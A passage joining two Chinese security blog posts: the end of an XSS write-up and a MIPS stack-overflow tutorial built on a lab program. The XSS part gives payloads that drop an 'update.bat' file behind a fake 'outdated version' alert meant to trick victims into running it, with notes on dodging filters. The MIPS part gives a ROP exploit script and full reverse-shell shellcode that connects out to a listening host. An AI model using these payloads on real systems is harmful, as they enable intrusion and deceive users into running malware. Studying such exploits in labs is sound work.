{'application/bat': ['.bat']}}] 使用文件名伪装suggestedName: 'update.bat'利用系统更新文件的命名习惯降低用户戒心 MIME类型欺骗,声明types: [{accept: {'application/bat'类型,绕过对text/plain或application/octet-stream的过滤 扩展名锁定,强制指定types: [{accept: {'application/bat': ['.bat']}}]扩展名,确保文件可执行性 恶意内容注入,使用createWritable + write的方式来写入文件 const w = await f.createWritable(); 流式写入,采用WritableStream API避免内存中拼接完整文件内容,规避基于内容长度的检测 现在效果是这样的     1. 点击payload标签栏,就能触发xss代码,自动弹窗资源管理器,保存update.bat文件,但是这一步需要用户确认保存     2. 保存之后,还是需要用户自己去运行bat文件才能弹出计算器     3. 很鸡肋是不是哈哈,于是我们需要加入弹窗,欺骗一下下受害者 <input style="content-visibility:auto" oncontentvisibilityautostatechange="(async()=>{if(confirm('是否保存更新文件 update.bat?')){const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /min cal     4. 这样要稍微好一点点 <input style="content-visibility:auto" oncontentvisibilityautostatechange="(async()=>{alert('当前版本过旧,可能存在漏洞险,请下载更新程序更新到最新版本!'); const f=await window.showSaveFilePicker({suggestedName:'update.bat',types:[{accept:{'application/bat':['.bat']}}]});const w=await f.createWritable();await w.write('start /mi     5. 点击payload标签栏,触发xss代码弹窗,提示版本老旧,存在漏洞风险更新     6. 只有一个按钮,用户不得不点确定,然后就会自动写入update.bat文件 但是需要用户手动保存     7. 然后保存之后,就会弹窗提示用户执行     8. 假如用户执行了,那么就能执行里面的恶意代码了(需要免杀) 这个案例再次印证了安全领域的"海因里希法则"——每起严重漏洞背后,必然有29次轻微漏洞和300起未遂先兆。那些看似无害的XSS payload记录行为,恰恰成为了攻击链的关键支点。当我们惊叹于APT攻击的精妙时,不妨多审视日常开发中的"便利性妥协",或许正是这些细微处的风险累积,最终筑成了攻防天平倾斜的转折点。 最后挣扎 其实,我感觉想要做到无感RCE还有一种更直接的办法,就是直接去审计这个项目的源码啊!可以找找前后端有没有什么危险函数,能够通过js调用执行,并且能逃逸出沙箱,执行系统命令的地方。经过对后端代码的审计,没有发现什么可控的地方,唯一可控的就是配置文件的内容,但后端都写死了,无明显的危险操作,无法无感RCE 后记 ok,到此全篇结束。本文没有什么太大的技术含量,纯粹比较有趣(对我来说),甚至是现学现卖的哈哈。短期内,其实用处不是很大,但是我个人觉得,往往正是这些无用之用,这些学安全路上的小发现、小惊喜才是支撑我们夜以继日、废寝忘食地搞安全的最大动力!也正是这些无用之用,我们才一点一点成长成如今的模样…… 晚辈技术浅陋,行文难免不当,还请师傅们多多指教!
MIPS栈溢出:ROP构造与Shellocde注入
0.前言 前段时间写了DVRF系列的题目,对rop的构造感觉还是有点力不从心,所以深入学习一下怎么构造rop链 注意,全程复现应该用ubuntu16.04,不要用18.04或者20.04,不然很有可能会导致后面的gadget找不到 程序至少也要在ubuntu16.04交叉编译,不然直接在ubuntu18.04或者更高版本下,都有可能有gadget找不到的后果.... 1.MIPS32架构堆栈 跟一般的x86架构不同,mips32架构的函数调用方式与x86系统有很大差别,比如说 mips没有栈底指针,也就是ebp,所以当函数进栈的时候,都是需要将当前指针向下移动n个比特,也就是该函数在堆栈空间所存储的大小n,后面就不再移动指针了,只能在函数返回时将栈指针加上偏移量去恢复栈现场,所以寄存器压栈和出栈的时候都需要指明偏移量 参数传递的方式也跟x86不一样,x86是直接压入栈中,而mips是前4个传入的参数通过$a0-$a3寄存器传递,如果参数超过了4个,那么多余的参数会放入调用参数空间 返回地址也不一样,x86调用函数,就是把函数的返回地址压入堆栈中,而mips是把返回地址放入到$ra寄存器中 2.MIPS函数调用 这里引入一个概念叶子函数和非叶子函数 如果一个函数A中不在调用其他任何函数,那么当前函数A就是一个叶子函数,否则就是非叶子函数 当函数A调用函数B的时候: 首先,call指令会复制当前$PC寄存器的值到$RA寄存器中,然后再跳转到B函数并执行 然后这里要判断B函数是否是叶子函数: 如果是非叶子函数,那么是会把放在$RA寄存器中的函数A的返回地址放到堆栈中 如果是叶子函数,那就不用动,函数A的返回地址还是在$RA寄存器中 函数B执行完之后要返回到函数A时 如果是非叶子函数,就要先从堆栈中把函数A的返回地址取出来,然后存到寄存器$RA中,再使用jr $ra跳转到函数A 如何函数B是叶子函数,就直接jr $ra返回函数A 2.1 函数调用参数传递 #include<stdio.h> int test(int a,int b,int c,int d,int e,int f,int g); int main() {    int v1=0;    int v2=1;    int v3=2;    int v4=3;    int v5=4;    int v6=5;    int v7=6;    test(v1,v2,v3,v4,v5,v6,v7);    return 0; } int test(int a, int b, int c, int d, int e, int f, int g) {    char s[50]={0};    sprintf(s,"%d%d%d%d%d%d%d",a,b,c,d,e,f,g); } 根据刚刚所说的,test函数中有7个参数,前4个参数存放在$a0-$a3寄存器中,后3个参数放入main函数栈顶预留调用参数空间中 在ida静态分析可以看出,main函数分配了7个临时变量 其中var_10-var_1C都是要放在$a0-$a3寄存器中,而剩下的var_30,var_34,var_38要从临时变量取出,存储到main函数预留的调用参数空间 动态调试看看,在sprintf函数处下个断点,那边ubuntu开启qemu模拟,这边ida远程动态链接 sudo chroot . ./qemu-mips-static -g 1234 ./mips-test 当main调用test(v1-v7)时,调用者main会先将前4个参数正序存入$a0-$a3寄存器,再将第5-7个参数按正序压入自己的栈空间,低地址对应v5,高地址递增存放v6、v7 当test内部调用sprintf需要传递9个参数时,test会自行将前4个参数正序存入$a0-$a3,剩余5个参数按正序压入自己的新栈空间,整个过程参数始终按源码中的从左到右顺序传递,且每个函数仅操作自己的寄存器或栈空间,不会涉及其他函数的栈帧,而main 传递的 $a0-$a3,也就是v1-v4在 test 调用 sprintf 时被覆盖,但这些值已通过寄存器或 test 的局部变量(a, b, c, d)保存,因此不会丢失 在 MIPS 调用约定中,main 函数通常不会主动取出或恢复存放到寄存器 $a0-$a3 中的参数值 以下这张图堆栈图是上述程序代码中,main函数调用了test函数之后,还需要原来的寄存器$a0-$a3的值,才会把4个寄存器压入到栈中 2.2 MIPS缓冲区溢出 x86架构下,返回地址一般是放入到堆栈中,所以栈溢出可以劫持程序的执行流 mips架构函数的返回地址一般都是在$ra寄存器中,同样也有栈溢出的风险 非叶子函数 #include<stdio.h> void stack(char *src){    char a[20]={0};    strcpy(a,src); } int main(int argc,char *argv[]){    stack(argv[1]);    return 0; } 由前文所知,stack函数是个非叶子函数,所以进入stack函数之后会把main函数的返回地址放入到自己的堆栈底部中,在返回main函数的时候,就会取出堆栈中的返回地址并写入$ra寄存器,然后跳转到main函数 所以如果stack函数的局部变量发生缓冲区溢出,就有可能覆盖掉main函数的返回地址,从而被劫持程序执行流,这一点跟x86是一样的 叶子函数 #include<stdio.h> void stack(char *src, int count){    char s[20]={0};    int i=0;    for(i=0;i<count;i++){        s[i]=src[i];   } } int main(int argc,char *argv[]) {    int count=strlen(argv[1]);    stack(argv[1],count);    return 0; } 由前文所述,stack函数此时是个叶子函数,main函数的返回地址并不会存放到stack函数自己的堆栈空间中,而是放到了$ra寄存器中,所以在ida显示的汇编语言中,可以看到stack函数在执行最末尾的jr $ra指令之前,都没有对$ra寄存器有任何的操作 所以如果按照x86或者非叶子函数那样的溢出方法,是无法覆盖掉main函数的返回地址的,因为无法操作寄存器$ra 但是呢,如果缓冲区溢出覆盖区域足够大,大到能覆盖掉main函数栈帧中存放的上层函数的返回地址,因为main函数也是个非叶子函数,上层函数的返回地址被main函数放在它自己的堆栈中,所以叶子函数也是可以存在缓冲区溢出的风险的,只要覆盖的数据足够大 举一个完整的例子 #include<stdio.h> #include<sys/stat.h> #include<unistd.h> void do_system(int code,char *cmd) { char buf[255]; system(cmd); } void main() { char buf[256]={0}; char ch; int count=0; unsigned int fileLen=0; struct stat fileData; FILE *fp; if(0==stat("passwd",&fileData)) fileLen=fileData.st_size; else return 1; if((fp=fopen("passwd","rb"))==NULL) { printf("Cannot open file passwd!\n"); exit(1); } ch=fgetc(fp); while(count<=fileLen) { buf[count++]=ch; ch=fgetc(fp); } buf[--count]='\x00'; if(!strcmp(buf,"adminpwd")) { do_system(count,"ls -L"); } else { printf("you have an invalid passord!\n"); } fclose(fp); } 危险函数do_system是一个非叶子函数,main函数也是一个非叶子函数 具体功能是从passwd文件中读取密码,如果密码是"adminpwd",就列出当前目录,否则就显示密码错误并退出程序 创建一个passwd文件然后向其写入500个垃圾数据,然后运行qemu编译过的程序,可以发现程序报错了 python -c "print 'A'*500" > passwd 所以开启一个端口进行远程动态调试,因为ubuntu18.04的原因,导致pwndbg一直报错,无奈只能ida进行远程动态调试了 所以这里配置主要就是ubuntu16.04和ida pro 7.5 不用下断点,直接动态运行,让其崩溃,看看那500个垃圾数据是否能覆盖到内存空间里面 注意这里要关闭掉各种保护,特别是canary保护,不然垃圾数据覆盖不了 mips-linux-gnu-gcc -g -fno-stack-protector -no-pie -fno-pie -z execstack vuln_system.c -static -o vuln_systemsudo chroot . ./qemu-mips-static -g 1234 ./vuln_system 可以看到不仅是内存空间,就连PC寄存器,$ra寄存器,堆栈空间都被覆盖成了垃圾数据,所以这里肯定有栈溢出漏洞,毕竟PC都已经被劫持了 确定可以劫持PC之后,就要精准确定多少字节可以使PC指向期望的地址,也就是要确定偏移量 一般来说用大型字符脚本去确定,通过建立大型字符,然后任取4连续4位,这4位的值在大型字符里面是唯一的,找出覆盖到PC的4个字符在字符集合里面的偏移就可以找到偏移量,通常都是用patternLocOffset.py这个脚本去进行确定 https://github.com/desword/shellcode_tools/blob/master/patternLocOffset.py生成1000个垃圾字符到passwd python patternLocOffset.py -c -l 1000 -f passwd 然后ida动态远程调试,直接让其崩溃,确定PC的地址 可以看到$ra寄存器崩溃的位置在0x34416e35的位置,然后再用patternLocOffset.py去通过劫持的PC地址确定精准偏移量 python patternLocOffset.py -s 0x34416e35 -l 1000 也就是填充404(0x194h)个字节后就可以精准劫持PC了 验证一下 python2 -c "print 'A'*0x194+'BBBBCCCC'" > passwd 可以看到PC和$ra寄存器已经被覆盖成我们想要的BBBBCCCC地址了,这说明404个字节是没错的 确定偏移还有一种方法是栈帧分析,通俗来讲就是静态分析,通过ida显示的数据进行计算得到偏移量 但是我不推荐这种方法,虽然网上还有书上都说可以,但其实我自己去复现了之后发现是行不通的,偏差差太多了,有可能是ida的缘故,也有可能是程序本身在编译的过程中受不同环境影响而偏差,比如说上述例子代码在ida静态分析中计算出来的偏移量就和动态分析出来的不一致,这种情况下还是要以动态的为主,那干脆就一步到位直接动态去确定偏移量就没错了 确定好偏移量之后,就可以确定攻击途径了 根据源代码,该漏洞可以用命令执行,毕竟有一个do_system()函数,或者写shellcode进行攻击 2.2.1 命令执行 这里先介绍命令执行攻击 所以就得跟x86一样构造ROP链,do_system(count,"ls -L")函数有两个参数,由IDA可知其地址为0x00400880 根据前文所说,我们需要找到可以把参数放入$a0和$a1寄存器的gadget 而count是固定字符串,所以只需要找到$a1寄存器的gadget即可 直接在ubuntu用ROPgadget找$a1寄存器的gadget找出来一大堆,而且感觉ROPgadget用来找mips架构的不太好找,不像x86_x64那么方便 所以直接在ida用mipsrop找了 下面这张图是用ubuntu16.04进行mips的交叉编译之后得到的程序所找的gadget,一共是19个gadget 而在此之前,我用了ubuntu18.04进行mips交叉编译得到程序去寻找gadget,只能找到13个 虽然两者都只能找到3个有关$a1寄存器的gadget,但是呢ubuntu18.04那边的gadget最后都只跟$t9寄存器相关 虽说$t9寄存器的值是MIPS程序的函数的起始地址,也就是说MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地址,也就是说理论上$t9寄存器可替代$ra控制程序流,但是那得先确保程序中通过 jalr $t9或者类似指令跳转的代码,比如说动态连接函数调用,并且我们还能控制$t9寄存器的值 又或者$t9寄存器的值被保存到堆栈中,且该值可被覆盖,那么这些都是可以控制$t9达到$ra的目的的条件,但很明显,这个例子不具备上述条件,所以自然攻击失败 mipsrop.stackfinders()是一个针对 MIPS二进制文件 的辅助分析命令,帮助漏洞利用开发者快速定位与栈操作相关的ROP gadget 由上到下,我们就选取最后一共0x004474BC地址的gadget,因为其他的gadget要么没有$ra寄存器跳转,要么中间隔得十分远,所以最后一个是最合适的 从gadget看出,我们只要在$sp+0x54+var_3C中构造好字符串,$a1寄存器便可输入我们想要的命令字符串,然后在jr $ra语句时把$ra寄存器覆盖成跳转到do_system函数的地址也就是0x00400A80即可完成整个payload payload: exp.py: import struct print("[*] prepare shellcode") cmd = "sh" cmd += "\00"*(4-(len(cmd) %4))  # 栈对齐 shellcode = "A"*0x194 shellcode += struct.pack(">L",0x004474BC) shellcode += "A"*0x18 #0x18=24 shellcode += cmd shellcode += "B"*(0x3C - len(cmd)) shellcode += struct.pack(">L", 0x00400A80) print("OK!") print("[+] create password file") fw = open('passwd','w') fw.write(shellcode) fw.close() print("ok") 2.2.2 Shellcode 所谓的shellcode就是在缓冲区溢出攻击中植入进程的代码,可以获取shell,执行命令,开启端口等等 一般来说,我们要获取shellcode要么网上搜,要么自己写一个C程序编译后反编译提取汇编指令 而由上述的分析可知,vuln_system存在缓冲区溢出且可以造成命令注入,所以如果要用shellcode攻击的话,可以用execve shellcode让嵌入shellcode的程序运行一个应用程序 但是shellcode可能会遇到NULL的限制导致复制到缓冲区的shellcode是不完整的,所以得进行优化一波,避免出现NULL这样的坏字符 我们还可以建立一个反向连接的shellcode,用来在一个被攻击系统和另一个系统之间建立连接,然后把execve shellcode注入进去,达到命令注入攻击的目的 那就需要socket connect dup2和execve 的shellcode,然后使用NetCat工具,也就是我们常说的NC进行端口监听,看看shellcode有没有成功注入进去 但是这里如果用windows版的nc,都会被Windows defender给杀掉.......最后换了kali,同时要保证kali和ubuntu之间能ping通 通过最开始垃圾数据命令可知,再把0x194个A覆盖后,B覆盖了$ra寄存器和pc寄存器,而C覆盖了后面的地址 所以可以利用C覆盖的这部分地址把B覆盖的放返回地址的寄存器给覆盖了,挟持程序执行流到C覆盖处,而C覆盖处就写入编写好的shellcode 当前栈顶的值是0x7FFFEF90,但是这个堆栈是变化的,所以每一次测试都得重新定位 完整exp_shellcode.py: import struct import socket def makeshellcode(hostip,port):    host=socket.ntohl(struct.unpack('I',socket.inet_aton(hostip))[0])    hosts=struct.unpack('cccc',struct.pack('>L',host))    ports=struct.unpack('cccc',struct.pack('>L',port))    mipshell="\x24\x0f\xff\xfa" #li t7,-6    mipshell+="\x01\xe0\x78\x27" #nor t7,t7,zero    mipshell+="\x21\xe4\xff\xfd" #addi a0,t7,-3    mipshell+="\x21\xe5\xff\xfd" #addi a1,t7,-3    mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1    mipshell+="\x24\x02\x10\x57" #li v0,4183 #sys_socket    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\xaf\xa2\xff\xff" #sw v0,-1(sp)    mipshell+="\x8f\xa4\xff\xff" #lw a1,-1(sp)    mipshell+="\x34\x0f\xff\xfd" #li t7,0xfffd    mipshell+="\x01\xe0\x78\x27" #nor t7,t7 zero    mipshell+="\xaf\xaf\xff\xe0" #sw t7,-32(sp)    mipshell+="\x3c\x0e"+struct.pack('2c',ports[2],ports[3]) #lui t6,0x1f90    mipshell+="\x35\xce"+struct.pack('2c',ports[2],ports[3]) #ori t6,t6,0x1f90    mipshell+="\xaf\xae\xff\xe4" #sw t6,-28(sp)    mipshell+="\x3c\x0e"+struct.pack('2c',hosts[0],hosts[1]) #lui t6,0x7f01    mipshell+="\x35\xce"+struct.pack('2c',hosts[2],hosts[3]) #ori t6,t6,0x101    mipshell+="\xaf\xae\xff\xe6" #sw t6,-26(sp)    mipshell+="\x27\xa5\xff\xe2" #addiu a1,sp,-30    mipshell+="\x24\x0c\xff\xef" #li t4,-17    mipshell+="\x01\x80\x30\x27" #nor a2,t4,zero    mipshell+="\x24\x02\x10\x4a" #li v0,4170 #sys_connect    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\x24\x11\xff\xfd" #li s1,-3    mipshell+="\x02\x20\x88\x27" #nor s1,s1,zero    mipshell+="\x8f\xa4\xff\xff" #lw a0,-1(sp)    mipshell+="\x02\x20\x28\x21" #move a1,s1 #dup2_loop    mipshell+="\x24\x02\x0f\xdf" #li v0,4063 #sys_dup2    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    mipshell+="\x24\x10\xff\xff" #li s0,-1    mipshell+="\x22\x31\xff\xff" #addi s1,s1,-1    mipshell+="\x16\x30\xff\xfa" #bne s1,s0,68 <dup2_loop>    mipshell+="\x28\x06\xff\xff" #slti a2,zero,-1    mipshell+="\x3c\x0f\x2f\x2f" #lui t7,0x2f2f "//"    mipshell+="\x35\xef\x62\x69" #ori t7,t7,0x6269 "bi"    mipshell+="\xaf\xaf\xff\xec" #sw t7,-20(sp)    mipshell+="\x3c\x0e\x6e\x2f" #lui t6,0x6e2f "n/"    mipshell+="\x35\xce\x73\x68" #ori t6,t6,0x7368 "sh"    mipshell+="\xaf\xae\xff\xf0" #sw t6,-16(sp)    mipshell+="\xaf\xa0\xff\xf4" #sw zero,-12(sp)    mipshell+="\x27\xa4\xff\xec" #addiu a0,sp,-20    mipshell+="\xaf\xa4\xff\xf8" #sw a0,-8(sp)    mipshell+="\xaf\xa0\xff\xfc" #sw zero,-4(sp)    mipshell+="\x27\xa5\xff\xf8" #addiu a1,sp,-8    mipshell+="\x24\x02\x0f\xab" #li v0,4011 #sys_execve    mipshell+="\x01\x01\x01\x0c" #syscall 0x40404    return mipshell if __name__ == '__main__':    print '[*] prapare shellcode',    cmd="sh"    cmd+="\x00"*(4-(len(cmd)%4))    payload="a"*0x194    payload+=struct.pack(">L",0x7ffff5d0)    payload+=makeshellcode('192.168.119.149',8888)    print ' ok'    print '[+]create password file',    fw=open('passwd','w')    fw.write(payload)    fw.close()    print ' ok' ubuntu现在停止不动了,但是shellcode已经执行完成了,可以在nc那边输入命令看到 这里端口号4444我试了很多次,均监听不到,后来改为8888就可以了,猜测有可能是端口占用了